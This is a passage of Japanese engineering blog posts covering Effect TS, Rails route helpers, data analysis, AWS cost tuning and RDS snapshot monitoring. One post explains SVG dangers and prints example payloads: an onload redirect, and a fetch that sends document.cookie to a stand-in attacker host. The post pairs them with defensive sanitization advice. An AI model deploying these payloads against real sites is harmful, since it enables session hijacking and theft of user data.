は最終的に発生する可能性があるエラーと、必要な依存関係を全部型情報として保存しています。その凄さは最終の仕上げを見たら、お分かりになるかと思います。 仕上げ 以上実装したものを組み合わせて、仕上げたものが以下となります。 // バリデーション const callAPI1 = retryWithRecovery( callAPI(API_1), renewToken, ( e ) => e. status === 401 , ( e ) => e. status === 401 , 3 , ); // 本文1 const callAPI2 = retryWithRecovery( callAPI(API_2), renewToken, ( e ) => e. status === 401 , () => true , 3 , ); // 本文2 const callAPI3 = retryWithRecovery( callAPI(API_3), renewToken, ( e ) => e. status === 401 , () => true , 3 , ); // 順番で処理を呼ぶ const callAPIs = callAPI1.pipe(Effect.andThen(callAPI2), Effect.andThen(callAPI3)); // 依存性注入 const mergedLayer = Layer.merge(FetchHttpClient.layer, AuthTokenLive); const program = callAPIs.pipe( Effect.provide(mergedLayer), Effect.catchAll(( error ) => Console . log ( `Main operation failed: ${ error.message } ` )), ); Effect.runPromise(program); 前準備はまあまあ複雑でしたが、関数型のライブラリのため、基本の部品を準備できたら、最終の組み合わせは結構楽です。関数型にまだ慣れていない方にも読みにくい部分があるかと思いますが、ある程度触れてましたら、読みやすく感じるかと思います。(私も関数式初心者ですが、すこし慣れてきています) あと、前述した通り、最後に実行されるほうの effect の型情報をお見せしたいと思います。 エラー処理、依存性注入前のeffect (最終effect直前) 前に説明した通りに、3つの処理で発生する可能性があるエラーと必要な依存関係を示しています。(今回はAPIErrorしか作成してなくて、それ一つになってますが) 最終的に実行されるeffect エラーを処理することで、 Error Type を なし( never ) に変えて、依存性を提供することで、 Dependencies を なし( never ) にしています 以上で、簡略化とはいえ、業務上に実際にあるちょっと複雑な処理をEffect TSで実装してみました。思ったより長くなりましたが、ここまでご覧になってくださって、ありがとうございます! 検討結果 実装の説明が長くなりましたが、導入の検討でしたので、検討の結果もちゃんと説明していきたいと思います。 メリット 型の安全性が非常に高い、エラーも型情報に入っていますので、常に扱っている変数の型がわかります。TypeScript もその情報でより的確なタイプチェックができます。 開発者の書き方にもよりますが、堅牢性が非常に高くて、開発段階で可能なシナリオをだいたい型情報から認知できます。 制御フローの可視化。従来の catch 、 throw パターンではなく、エラーを値として扱うことで、処理がすごく離れている catch block に飛ばされることを防いています。個人個人の好みにもよりますが、私はこちらのほうがやりやすいと思います。 デメリット 習得するのがすごく難しいです。関数式の特性が非常に強くて、ある程度関数式の経験がないと理解しにくいかと思います。その上に、依存性注入も結構組み込まれていますため、それに関しても、一定の知識が必要となります、プラグラミング初心者には向いていないかと思います。 アプリ全体がEffect TSで実装されていないとあまり意味がありません。当然のことなんですが、Effect TSが型の安全を保証しているのは Effect の中だけなので、Effect TS以外の処理が混ざっていますと、型安全が完全ではなくなります。 コードを堅牢的に書かせる フレームワーク なので、コードの堅牢性は高まりますが、開発のコストも比較的に高いかと思います。 結論 結論からいいますと、今のところ、Effect TSの導入はしないかと思います。個人的にはEffect TSのメンタルモデル、型の安全性などが非常に好んでいますが、上述の通りに、チームに導入するにはコストが大きすぎますため、難しいかと思います。チームメンバーが全員興味を持っていて、習得してくれることになっていても既存のアプリにそれを追加するのはコストが高くて、メリットが少ないです。なので、新規のコードベースがあって、チームメンバーがみんなEffect TSで開発したいと思わない限り、Effect TSの導入は難しいかと思います。 とはいえ、私はこの調査を通じて、Effect TSに更に興味を持つようになりましたので、個人開発、小規模の開発などに使っていきたいと考えております。皆さんもこの記事を読んで、興味を持つようになったら、ぜひEffect TSを使ってみてください! おわりに 10日の記事の担当は エンジニア の小松さんです。お楽しみに。 おまけ この記事に記載されているコードは私の GitHub にも上げていますので、興味がある方はぜひご覧になってください! Effect Sample Codeはこちら
こんにちは!Webアプリケーションエンジニアの レミー です! この記事は Enigmo Advent Calendar 2025 の7日目の記事です。 最近「Operation Hanoi Thief」という事件を読みました。 これは、 ベトナム のITエンジニアや採用担当者を狙った サイバー攻撃 についての内容で、怪しいファイルを送りつけて情報を盗む手口が紹介されていました。 その中で、一見ただの画像に見えるファイルでも、実は中に攻撃的なコードが入っている恐れがある、という点が気になったので、 SVG の中にある危険な仕組みを紹介します。 多くの人にとって、 SVG ファイルは「軽くて、拡大しても劣化しない便利な画像ファイル」という印象だと思います。 ロゴ、アイコン、バナーなど、Webでは定番の形式ですよね。 でも、実は SVG は「ただの画像」ではありません。 SVG はテキストベース( XML 形式)のファイルであり、その中にコードを埋め込むことができます。 この性質のせいで、本来は「画像ファイル」であるはずのファイルが、攻撃者が悪い目的として利用される恐れがあります。 SVG とは? PNG /JPGとの違い JPG、 PNG 、WEBP といった形式はバイナリデータの画像です。中にはロジックや スクリプト が入っていることはありません。 一方で SVG (Scalable Vector Graphics)はまったく別物です。 SVG は XML で書かれたテキストファイル なので、. svg をメモ帳や VS Code で開くと、中身をそのままテキストとして読むことができます。 例: <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <rect x="10" y="10" width="180" height="180" fill="blue"/> </svg> SVG ファイルの中に埋め込む危険なもの SVG の中には、見た目は「画像ファイル」なのに、実際にはかなり危険なコードを埋め込むことができます。 1. SVG 内部の JavaScript SVG には、普通の HTML と同じように <script> タグを埋め込むことができます。 <svg xmlns="http://www.w3.org/2000/svg"> <script> alert('こんにちは!'); </script> </svg> ブラウザの設定や表示方法によっては、この スクリプト が実行されます。 本番なら、攻撃者は alert(...) の代わりに、例えばこんなことができます。 ユーザーの情報を自分のサーバーへ送信する 悪意のあるサイトへ自動リダイレクトする SVG をアップロードできるWebサイトで XSS 攻撃を行う 2. onload / onclick などのイベント属性 <script> タグがなくても、イベント属性だけで十分に危険です。例えば次のような SVG です。 <svg xmlns="http://www.w3.org/2000/svg" onload="window.location.href='https://example-danger-site.com'"> </svg> この SVG をブラウザで開いただけで、ユーザーは自動的に悪意のサイトにリダイレクトされてしまいます。 そこがフィッシングサイトや マルウェア 配布サイトなら危険になります。 3. SVG アップロードを悪用した XSS 攻撃 ユーザーが SVG をアップロードできるサイト(アイコン、 アバター 、イラストなど)で、 サニタイズ せずにそのまま表示していると、攻撃者にとっては、 <script> や onload を含んだ SVG をアップロードし、その スクリプト はそのサイトのコンテキストで実行されます。 その結果、例えばこんなことが可能になります。 document.cookie を盗んでセッションを乗っ取る 管理者アカウントで操作する 例えば危険な SVG ファイル: <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://example-bad-site.com/log?c='+document.cookie)"> <text x="10" y="20">Hello world!</text> </svg> これが <img> ではなく、HTML内に inlineで <svg>...</svg> として埋め込まれ、ブラウザがブロックしない場合は、 document.cookie がそのまま攻撃者のサーバーに送信されてしまいます。 どんな SVG なら安全なのか? 例えば次のような、テキストだけで構成されている SVG は安全です。 <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <circle cx="100" cy="100" r="80" fill="green" /> <text x="60" y="105" font-size="20" fill="white">安全なSVG</text> </svg> どうしてかというと、以下のような要素や属性が含まれていないのです。 <script> タグ onload, onclick, onmouseover, onerror などのイベント属性 外部URLやリクエストを飛ばしているコード SVG から身を守るためのポイント 一般ユーザー向けの注意点 知らない人から送られてきた SVG ファイルを、すぐにブラウザで開かない。どうしても中身を確認したい場合は、まず テキストエディタ ( VS Code , Notepadなど)で開いてみて、以下のようなものがないか確認する。 <script> タグ onload, onclick, onmouseover, onerror などのイベント属性 外部URLやリクエストを飛ばしているコード Web開発者向けの対策 ユーザーによるアップロードされる SVG を、 サニタイズ する処理を行う <script> タグを削除する onload, onclick, onerror, onmouseover などのイベント属性を削除する 外部URLやリクエストを飛ばしているコードを削除する 信頼できない SVG を inlineで <svg>...</svg> として レンダリング しない。ユーザー由来の SVG はできるだけ <img src="/path/to/file.svg"> で外部ファイルとして扱うべき 適切な Content-Type や Content-Security-Policy ヘッダを設定し、 スクリプト 実行を抑制する まとめ: SVG は便利だけど「画像だから安全」とは限らない SVG 自体はとても便利なフォーマットです。 SVG 自体は危険ではありませんが、攻撃者の手に入ると危険なものになる恐れがあるため、使用中に注意する必要があります。 明日の記事の担当はフロントエンドエンジニアの張さんです。お楽しみに。
こんにちは! WEBアプリケーションエンジニア の小松です! 今まで主に ECサイト のWEBエンジニアをやっていて、本格的に Ruby On Rails の開発をするのは エニグモ に入社してからです。 この記事は[ Enigmo Advent Calendar 2025 ]の6日目の記事です。   はじめに:なぜ今、ルートヘルパーを振り返るのか ルートヘルパーとは?(なぜ必要なのか) ハードコード vs ヘルパー 基本的な仕様と使い分け 1. 基本形:resources から生成されるもの 2. _path と _url の違い 複雑なルートの解読(ここがつまずきポイント) ケース1:namespace (管理画面などでよく見る) ケース2:scope (URLだけ変えたい) まとめ:意思決定の軸を持つ 最後に はじめに:なぜ今、ルートヘルパーを振り返るのか Rails の開発において、 articles_path や new_admin_order_path といった「ルートヘルパー」は当たり前のように使われています。しかし、 後からプロジェクトに参画したエンジニアや、 Rails に慣れていない初学者にとって、これらは時に「読みにくい呪文」に見えることがあります。 私自身、規模の大きなプロジェクトに関わった際、大量に定義されたルート設定と、そこから生成される長いヘルパーメソッドを見て、「これ、結局どこのURLに飛ぶんだ?」と読み解くのに時間を取られた経験があります。小規模なアプリなら推測できても、複雑な namespace や scope が絡むと一気に難易度が上がります。 熟練の Rails エンジニアにとっては「常識」で片付けられがちな部分ですが、 「実はここでハマる人は多いのではないか?」「かつての自分のような人のための地図が必要だ」 と考え、この記事にまとめることにしました。 今回は、単なる仕様解説だけでなく、なぜこれを使うのかという背景も含めて、 Rails のルートヘルパーを徹底解説します。 ルートヘルパーとは?(なぜ必要なのか) Rails のルートヘルパーは、 config/routes.rb の設定に基づいて自動生成されるURL生成メソッドです。 ハードコード vs ヘルパー 初心者のうちは「直接 /articles/1 って書いたほうが直感的で早くない?」と思うかもしれません。しかし、プロジェクトが大きくなると、その考えは 「保守の悪夢」 に変わります。 直書き(ハードコード): /articles/1 ヘルパー: article_path(1) もし将来、URL設計が変わり /posts/1 に変更したくなった場合、直書きだと全てのファイルを検索して置換する必要があります。一方、ルートヘルパーを使っていれば、 routes.rb を一行書き換えるだけで、アプリ内の全リンクが自動的に新しいURLに対応します。 「可読性の一時的な低下」というコストを払ってでも、「将来の変更に強い(メンテナンス性)」というメリットを取る。 それがルートヘルパーを採用する理由です。 基本的な仕様と使い分け それでは、具体的な「解読方法」を見ていきましょう。 1. 基本形:resources から生成されるもの 最も基本となる形です。 Rails.application.routes.draw do resources :articles, only: [:index, :show] end この設定により、以下のメソッドが使えるようになります。 生成されるヘルパー 実際のURL 役割 articles_path /articles 一覧ページなど article_path(id) /articles/:id 詳細ページなど ここまでは推測しやすい範囲です。 2. _path と _url の違い ここも初心者が迷うポイントです。「どっちを使えばいいの?」という疑問に対する答えはシンプルです。 _path ヘルパー (例: articles_path ) 出力: /articles ( 相対パス ) 用途: サイト内のリンク( link_to など) 理由: ドメイン が変わっても影響を受けないため、基本はこちらを使います。 _url ヘルパー (例: articles_url ) 出力: https://example.com/articles ( 絶対パス ) 用途: リダイレクト、外部へのリンク、メール本文 理由: メールの中に 相対パス ( /articles )を書いてもリンクとして機能しないため、 ドメイン 付きのフルパスが必要です。 複雑なルートの解読(ここがつまずきポイント) 規模が大きいプロジェクトで可読性が下がる原因は、主に namespace や scope の存在です。ここを整理して理解しておくと、コードを読むスピードが格段に上がります。 ケース1:namespace (管理画面などでよく見る) Rails.application.routes.draw do namespace :admin do resources :orders end end namespace は「 ディレクト リ構成(コントローラー)」と「URL」の両方を分けたい時に使います。 ヘルパー: admin_orders_path URL: /admin/orders コントローラー: Admin::OrdersController ヘルパー名に admin_ という接頭辞( プレフィックス )がつきます。これが長くなると読みづらさの原因になりますが、「 admin 以下の機能だな」と一目で分かるメリットもあります。 ケース2:scope (URLだけ変えたい) 「URLは変えたいけど、コントローラーは既存のものを使いたい」という、少し特殊な要件で使われます。 Rails.application.routes.draw do scope "/dashboard" do resources :reports end end ヘルパー: reports_path ( dashboard がつかない! ) URL: /dashboard/reports コントローラー: ReportsController (そのまま) ここが混乱ポイントです。 scope の書き方によってはヘルパー名が変わらないため、「 reports_path って書いてあるのに、なぜか /dashboard に飛ぶぞ?」という現象が起きます。 (※ scope に as: オプションをつけることでヘルパー名を変えることも可能です) まとめ:意思決定の軸を持つ ルートヘルパーのメリット・デメリットを整理します。 メリット URL変更時の修正コストがほぼゼロになる。 _path と _url の使い分けで、内部・外部リンクを安全に生成できる。 デメリット namespace が深くなると、 admin_dashboard_statistics_monthly_reports_path のように非常に長い名前になり、一見して理解しづらくなる。 初見殺しになりやすい。 最後に 「 Rails に慣れている人には簡単でも、知らない人にとっては大きな壁になる」のがルートヘルパーです。 もしあなたがコードレビューや修正をする際、長いヘルパーメソッドに出会ったら、まずは routes.rb を確認し、 「それがどのコントローラーのどのアクションに紐付いているか」を確認する癖をつけてみてください。 その構造が見えてくれば、ルートヘルパーは「読みにくい呪文」から「安全に開発を進めるための強力な武器」に変わるはずです。   明日12/7の記事は レミー さんの「 SVG ファイルは本当に安全なのか?」です。
こんにちは、データアナリストの井原です。 この記事は Enigmo Advent Calendar 2025 の5日目の記事です。 この記事では手元で手に入るデータ(情報)が限定的でも、出来る範囲で分析を行ってみることは大事なのではないか?というテーマで書いていきます。 私は普段データアナリストとして、データからビジネスの意思決定を行うための示唆出しを主要業務に エニグモ で働いています。データアナリストというと、因果推論、統計、 Python 、AIなど、データを正しく解釈するために、論理的な思考や熟考が要求される、いわゆる左脳的と言われるような学びが多くなる傾向があると思います。そして、そういった左脳的なスキルは実際にデータアナリストにもっとも必要とされるスキルで間違いないと思います。 しかし、一方、ビジネスの現場でデータ分析を主務としていると、左脳的思考だけで十分か?という疑念がつねにつきまといます。なぜなら、ビジネスの現場で必要とされることは、厳密で正確なデータ分析ではなく、 ビジネス判断に役に立つ示唆を出すこと だからです。 もちろん、そのためには、厳密で正確なデータ分析も求められるところではあるのですが、統計や因果推論の学びを深めていくと、前提とする仮定を達成させることが難しく、完全無欠なデータ分析を行うことは難しいどころか、無理ではないかとさえ思えてきます。 直感やひらめきを重視する理論 ビジネスに必要なスキルは左脳的な論理的思考能力だけではなく、右脳的な直感やひらめきを活かす方法も大事なのではないか。そんなことをここ最近は強く感じながら、答えは出せず、本や資料で学ぼうとしてきました。 主題ではないので、かなり簡単ではありますが、いくつか個人的に参考にした理論を以下にご紹介します。※必ずしも左脳、右脳という切り分けが出来る理論ばかりではないですが、私が今回のテーマの参考となったと考えているものになります。 センスメイキング理論 *1 人が曖昧で不確実な状況に直面したとき、過去の経験や社会的文脈を手がかりに「物事に意味づけを行い、理解しようとするプロセス」を指す理論です。情報にストーリー性を持たせることで、人々の行動を可能にすると言われています。 二重過程理論 *2 人間の思考を直感的で無意識的な「システム1」 と、論理的で意識的な「システム2」の2つのプロセスで説明する理論です。状況によって思考の軸を使い分けることが大切とされています。 ブリコラージュ *3 「手元にあるものを組み合わせ、工夫しながら新しい意味や価値あるものを生み出す」思考・創造のプロセスで、既存の資源・経験・道具を柔軟につなぎ合わせて解決策をつくるアプローチです。計画的で目標思考である、従来の計画重視型エンジニアリングと対照的なアプローチとされることがあります。 これらの理論について、論じられている内容は異なるものですが、論理的思考や計画性を特に重視する社会において、それ以外の要素の重要性が示唆されているのではないかと思います。 *4 活用事例 とはいえ、これらの理論は抽象度も高く、業務の中で活用するには困難が伴います。 明確な答えはでない中でも、一つの仮説は「ありものでやってみて、発想してみることが大事」なのではないか?ということです。 意識的にやったことではないですが、後から振り返った時に無意識に学びを活かせていたのでは?と思われる事例がありますのでご紹介します。 経緯 BUYMA はファッション系ECの中でも、特に ハイブランド と言われるブランドに強みを持つ ECサイト です。比較的、他ECと比べても、単価が高いことが特徴です。 これは逆に言うと、世の中のトレンドと BUYMA の売れ筋が必ずしも一致していないということでもあり、世の中では売れているけれど BUYMA にはそもそも商品が少ない、というブランドがあります。社内でも感覚的にそのことは認識していても、どのようなブランドが世の中で人気があるのか?そのブランドに BUYMA の伸ばしどころがあるのか?といった点を具体的に分析したことはありませんでした。 分析にあたっての問題 そういった経緯で世の中のトレンドを何とか分析出来ないか?と軽く相談が来たのですが、分析にあたって大きな問題がありました。それは、当然ですが、 BUYMA 外部のトレンドを知るためのデータは基本的に手元にないという点です。 お金を使えば、データを買う、アンケートを取得するといった方法もあったかもしれませんが、温度感としてはそこまでではなく、何か出来ないかね?という感触でした。 分析の方針の決定 温度感や前後の文脈によっては、「出来ない」という結論も大事かもしれませんが、その時は「意義のある結論を出せるかは分からないが、自力で調べられる範囲で 定量 化することは出来るかもしれない」という前提をおいて、分析を進めてみることにしました。 具体的には、インターネットで検索して入手できる情報だけで 定量 化することを試みました。 データの収集と前処理 初めに、検索して入手できる情報の洗い出しを行いました。主に検索、他 ECサイト のランキング、 SNS 、ニュース記事、などが対象になりそうでした。この中で SNS とニュース記事に関しては、純粋なトレンドと広告的な記事を分割することが難しそうだったので、対象からは外しました。 また、検索結果については、LINEヤフー社の DS.INSIGHT を契約していますので、そこからの情報も活用することにしました。 この辺りは、データアナリスト一人で判断するのではなく、関係者とどういうデータが取れて、意味がありそうかをすり合わせながら詰めていきました。今回の手順に限らないですが、アウトプットする前にこういった認識をすり合わせていくことは、後々、期待に応えられるアウトプットを出せるかに直結するので重要なポイントです。 収集するデータを整理したら、その後は手作業でデータを集めていきました。泥臭い作業ではありますが、手作業でローデータを集めることで、分析者としても多少なり売れ筋の感覚を知ることができるメリットもあります。 手作業でデータを集めたら、次にデータを 定量 化する必要があります。今回集めたデータは、主に「他 ECサイト での最高ランク」「他 ECサイト でのランキング登場回数」「検索数」のデータでした。個別に見ていくと解釈が難しいので、データを標準化したうえで項目の加重平均を行い、1次元のデータにまとめました。 データ変換処理のイメージ(数字は仮のもの) 参考:標準化と加重平均について 標準化とは、「平均を0、分散、 標準偏差 が1になるようにデータを変換して、単位の異なる数値を比較出来るようにすること」で、加重平均とは「各指標に重みをつけて重みの高い指標のウェイトが大きく反映されるように平均値を出す方法」です。 例えば、今回のデータで言うと、「他 ECサイト での最高ランク」「他 ECサイト でのランキング登場回数」は、せいぜい1~100程度、「検索数」は数千~数万と規模感が異なります。項目それぞれで標準化を行うと、平均や分散が同じ数にまとまるので、同基準で数字の高低を比較できます。 また、加重平均は項目の信頼度に応じて変えるようにしています。例えば、「 ECサイト のランキング」は販売個数が分かるわけではないので低め、検索数はおおよそ正しい数字が分かるので高め、といったように設定しています。 標準化と加重平均のイメージ グラフへのプロット 標準化と加重平均を経て最終的に計算された数字を仮に「外部トレンド指標」と名付けます。 「外部トレンド指標」だけを見てもいいですが、内部のデータとも比較するため、今回は BUYMA の注文件数を横軸にとり、「外部トレンド指標」を縦軸にとった散布図を作成しました。アウトプットイメージを以下に掲載します。 アウトプットのイメージ ブログなので、実数と実際のブランド名は削除していますが、一つ一つの点がプロットされたブランドになります。右にあるほど BUYMA で売れているもの、上にあるほど世の中のトレンドが高いもの、という解釈ができます。 これにより、 BUYMA の強みと世の中のトレンドの差を直感的に確認できるようになります。 プロットした図を基に、関係者との議論を行いました。感覚としても大きなずれは生じていなさそうということで、これを基に BUYMA としてどういったブランドに注力していくべきか、といった議論に無事に繋がっていきました。 重要なポイント 事例紹介は以上になります。出来る範囲でやったにしては、あいまいに終わらず、関係者の反応もあり、営業戦略の一助になったものと思います。「右脳的」とは少し違うかもしれませんが、「収集できるデータの範囲でやってみるか」という、やってみようの発想がアウトプットに繋がる一例になったのではないかと思っています。 ただし、「適当なデータを使ってやってみる」とは似て非なるものであるところは注意が必要です。アウトプットの目的、データの妥当性などの検討は丁寧に行う必要があり、特にビジネス側のチェックは必須だと考えています。今回の分析も本当にそれが外部トレンドを表すものなのか?という点は突き詰めると議論の余地は残ると思います。しかし、どのようなデータを集めるのか?どのように集計するのか?など、分析の途中で確認を踏むことにより、ある程度妥当性のあるアウトプットに繋げられたのではないかと考えています。 まとめ やや大仰なタイトルをつけてしまいましたが、一番書きたかったことは、「データ分析もとりあえずやってみようの精神は大事なのではないか」ということです。 データ分析を学んでいくと、分析にあたって、厳密な仮定や条件を満たすことが出来ず、妥当性を判断することが難しいことがよくあります。そんな時も、(過程を適切に踏む必要はありますが)「ひとまず、出来ることとある程度の妥当性があればやってみる」「やってみてアウトプットを出すことで議論が進み、妥当性に対しての疑義が挟まれたとしても、そこから、適切な方向に方針転換する」といった手順で分析を進めていくことで、有用なアウトプットに繋げることができるのではないかと思っています。 前述したブリコラージュでは、アウトプットをした後の議論の重要性が語られることがあります。近年だとデザイン思考の発想に近いのかなと思うのですが、 「アウトプットする」→「議論する」→「修正する」というループを作り出すことは、データ分析のプロジェクトにおいても有用 な可能性があるのではないかと思いました。 本日の内容は以上になります。ご一読、ありがとうございました。 明日の記事の担当はエンジニアの小松さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co *1 : 参考: 【事例紹介】センスメイキング理論とは?「腹落ち」を最大活用してリーダーとして組織強化の極意を学ぼう | 株式会社ソフィア 優れたリーダーは未来を魅力的に語る 連載 入山章栄の『世界標準の経営理論』第8回 | 組織文化/組織開発|DIAMOND ハーバード・ビジネス・レビュー *2 : 参考: 2つの思考モード(システム1・システム2) | UX TIMES *3 : 参考: ブリコラージュで実現する、「対話」と「受動的な創造性」に満ちた組織──文化人類学の知を組織づくりに活かす方法 | CULTIBASE ピックアップ:組織の多様性を活かすための3つの手がかり | CULTIBASE *4 : センスメイキング理論や二重過程理論については、 世界標準の経営理論(入山章栄(著)) に記載があり、こちらもお勧めです
こんにちは、インフラエンジニア の 森田です。 この記事は Enigmo Advent Calendar 2025 の4日目の記事です。 BUYMA は8月に本番環境を移行しており、その後コストのチューニングを行っています。 この記事では実際に進めた内容を元に自分の AWS におけるコスト削減の考え方と役立つ機能について紹介します。 サマリ まず最終的なゴール設定ですが、 リザーブ ド インスタンス やSavings Plans等利用量をコミットしてコスト削減を行えるモデルの購入とします。 また今回は分かりやすいよう主要なサービスであるEC2とRDSでのコスト削減をターゲットとします。 大枠では次のような流れで AWS のコスト削減を考えています。 サイジングを考える 利用状況の変化を考える コストコ ミットを考える 次項からそれぞれで検討すべき項目と、それに利用できる AWS の機能を紹介します。 1. サイジングを考える まずその インスタンス に適切なリソースが割り当てられているかを考えていきます。 AWS のような従量課金のサービスにおいて一定のタイミングで現在の状況にあったリソースが割り当てられているかを考える事は重要です。 利用状況を超えたリソースの割り当ては余計な支出を生みますし、リソースが不足していればサービスの安定稼働の妨げとなってしまいます。 そのため インスタンス タイプを適切に割り当てたいなと思うわけですが、種類が多すぎて何が適切なのかの検討が難しい場合もあります。 そこで参考にできるのが AWS Compute Optimizer です。 Compute Optimizerは 機械学習 を用いて AWS リソースの利用状況を分析し、コスト削減やパフォーマンス向上に繋がるレコメンドを提示してくれるサービスです。 画像のようなイメージで インスタンス ごとに適切か否か、否なら何が適切かを提示してくれるのでサイジングの参考にして下さい。 ただ注意しないといけないのはこれはあくまでオススメする インスタンス タイプであり、動作の保証はされないという事です。 肌感覚ですが、カスタマー利用があり負荷が一定でないWebやAppサーバ等でこのレコメンドの通りにサイジングを行うのはかなり危険だと思います。 実際にコスト削減のため アプリケーションサーバ の インスタンス タイプをレコメンドよりも一回りバッファを持たせたサイズへ下げたものの、高負荷となってしまうケースがありました。 この時は1台だけ下げた インスタンス を組み込むという計画だったため即切り戻しが可能でしたが、やはり負荷の一定でない インスタンス の変更は慎重に行うべきであるということです。 逆に社内サービス等負荷がおおよそ一定になる用途のものに関してはかなり参考にできるかなと思っています。 2. 利用状況の変化を考える 次にその インスタンス の利用状況の見通しを考えましょう。 AWS の コストコ ミット類の最小期間は1年であるため、1年程度見通せると良いかと思います。 大まかには以下の点を検討する形になるかと思います。 この用途の インスタンス は向こう1年以上利用するか 1年以内にOS、DBエンジンのEOS・EOLが発生するか OS、DBエンジンのEOS・EOLは Health Dashboard などが参考にできます。 OSやDBエンジンのバージョンは リザーブ ド インスタンス やSavings Plansで縛られないものの、 バージョンアップ後に負荷が上がる可能性はあるので、もし1年以内に発生する場合は インスタンス タイプの変更含めて検討が必要です。 3. コストコ ミットを考える リザーブドインスタンス EC2でも リザーブ ド インスタンス を購入することは可能ですが、 インスタンス ファミリーやOSの変更にも対応できる柔軟性を考慮すると、EC2には後述するSavings Plansを利用するのを推奨します。 そのため、ここでのターゲットは主に RDS とします。 ※ただし直近でRDSのSavingsPlansもGAとなっているため、今後はこちらも合わせて検討するのが良いと思います。 RDS RI購入の考え方 RDSの台数が少なければ、前述の検討内容を元に手動で個別に購入して問題ありません。 しかし、台数が多い場合は AWS コンソールの推奨機能を活用します。 Billing and Cost Management > 予約 > 推奨事項 ここでも「1. サイジング」と「2. 利用状況の変化」での検討が重要になってきます。 単に現状の通りにRIを購入するのではなく、無駄なリソースを排除し、EOS対応などの将来的な再構築リスクがないことを確認した上で推奨事項を見ることで、 「推奨=購入すべき正解」 という状態を作り出せるからです。 インスタンス サイズの柔軟性について また、RDSのRI購入を後押しする要素として 「 インスタンスサイズの柔軟性 」 があります。 MySQL 、 MariaDB 、 PostgreSQL 、 Oracle 、Aurora を利用している場合、同じ インスタンス ファミリー(例: db.r6g )内であれば、サイズ( large や xlarge 等)が変更されてもRIの割引が適用されます。 ( ライセンスを含む場合は柔軟性の対象外となる点 に注意して下さい) これにより、「今は db.r6g.large が適切だが、半年後に負荷が増えて db.r6g.xlarge にスケールアップするかもしれない」といったケースでも、RIが無駄になりません。 この仕様があるため、ファミリー自体の変更(例: r6g → r7g )さえ発生しない見通しが立っていれば、比較的安心して1年/3年のコミットを行うことができます。 不要なリソースは削除済み、かつ将来のファミリー変更リスクも検討済みであれば、推奨事項に表示されている台数・期間で購入を進め、割引効果を最大化させましょう。 Savings Plans EC2に関しては、 リザーブ ド インスタンス よりも柔軟性が高い Savings Plans 、その中でも Compute Savings Plans の利用を推奨します。 Compute Savings Plansであれば、 インスタンス ファミリー、サイズ、AZ、リージョン、OS、テナンシーが変わっても割引が適用されるため、構成変更に非常に強いのが特徴です。 こちらもRDS同様、 AWS コンソールで推奨事項を確認できます。 Billing and Cost Management > Savings Plans > 推奨事項 ここで前項までの「1. サイジング」と「2. 利用状況の変化」の検討が活きてきます。 通常、この推奨事項は過去の利用実績に基づいて算出されるため、無駄なリソースが放置されている状態で見ると、過剰なコミット額が提案されてしまいます。 しかし今回は、既にサイジングで見直しを行い、将来的な利用期間(1年以上など)も精査済みです。 つまり、 現在稼働しているリソースは「必要なリソース」のみに絞り込まれている状態 と言えます。 そのため、ここでの戦略はシンプルです。 Compute Savings Plans を選択する 期間は「利用状況の変化」で確認した期間(基本は1年)を選択する 表示された推奨事項の 時間単位のコミットメント を信頼して購入する 事前にしっかりとリソースの棚卸しができているからこそ、迷いや過度なマージン( リスクヘッジ による減額)を入れることなく、提示された最適解で購入を進めることができます。 これが結果として、無駄なく最大のコスト削減効果を生むことに繋がります。 まとめ 今回は「サイジング」「利用状況の変化」「 コストコ ミット」の3ステップで進める AWS コスト削減について紹介しました。 コスト削減というと、どうしても「とりあえず リザーブ ドやSavings Plansを買う」という手段が先行しがちですが、その土台となるシステムの見直しや将来予測が不十分だと、効果が薄れたり逆に無駄が発生したりするリスクがあります。 今回紹介したように、しっかりと足元(現状の利用量)と未来(これからの構成)を整理した上で AWS のレコメンド機能を活用すれば、迷うことなく最大限のコミットメントが可能になります。 インフラコストの最適化は、一度行えば終わりではなく継続的な運用が重要です。 ぜひこの機会に、皆様の環境でもCompute Optimizerや推奨事項をチェックし、攻めのコスト管理にチャレンジしてみてください。 明日の記事の担当は データアナリストの 井原さんです。お楽しみに。
はじめに こんにちは、SE本部の加藤です。現在はインフラグループに所属し、 BUYMA の AWS 基盤を運用しています。 この記事は Enigmo Advent Calendar 2025 の 1日目の記事です。 背景課題 BUYMA の AWS 運用を続ける中で、RDSのバージョンアップ作業等で取得した手動スナップショットが、複数の AWS アカウントに作業後も削除されずに残留しており不要なストレー ジコス トを生んでいました。 スナップショットを自動削除するためのマネージドサービスの機能がないか調べてみたものの、今回の要件に当てはまる機能は存在しないようでした。 そのため、 複数アカウント のスナップショットを一括で監視し、通知する仕組みを作成することにしました。 システム構成 本監視システムは、 親アカウント に主要なリソースを集約し、 クロスアカウントアクセス によって子アカウントの情報を取得する構成です。 システム全体は CloudFormation で管理され、主に以下のリソースで構成されています。 概要 親アカウントのLambdaをスケジュール実行し、クロスアカウントで子アカウントのRDS手動スナップショットを取得する構成です。 作成から一定期間経過した古いスナップショットを検出してSlackに通知します。長期保存対象となる管理用タグも設定しています。 主な AWS リソース リソース種別          説明                                                            CloudFormation  ECR リポジトリ 、Lambda、EventBridge、Secrets Manager、IAMロールなど全リソースを管理。 Lambda関数        コンテナイメージとしてECRに格納。スナップショット検出とSlack通知を実行。                      ECR              Lambdaで使用するコンテナイメージの リポジトリ 。                                    EventBridge      定期スケジュールでLambdaを起動。                                            Secrets Manager Slack Bot の認証 トーク ンを管理。                                        IAMロール(子アカウント)  親アカウントのLambdaがAssumeRoleするためのロール。RDSスナップショット読み取り権限を付与。    処理の流れ 本仕組みは、以下の手順で動作します。 1. スケジュール実行とクロスアカウントアクセス EventBridgeによるスケジュール実行 (毎月1日午前9時)でLambdaが起動します。 起動した親アカウントのLambdaは、子アカウントに設定した IAMロールをAssumeRole し、 クロスアカウントでスナップショット情報を取得 します。このロールは rds:DescribeDBSnapshots などの必要な権限を持ち、 複数アカウント の監視を可能にします。 2. 不要スナップショットの検出とタグによる除外判定 取得したスナップショットに対し、以下のロジックで削除候補を抽出します。 経過日数による抽出 : 7日以上経過した手動スナップショット を抽出します。 タグによる長期保存管理 : 手動スナップショットに SnapshotRetain: true タグが付与されている場合、長期保存対象として Slack通知内で「保持対象」として表示 します。これにより、必要なスナップショットの誤削除を防ぎます。 3. コストの推定計算 検出されたスナップショットに対して、その推定ストレー ジコス トを計算します。 料金計算ロジック : 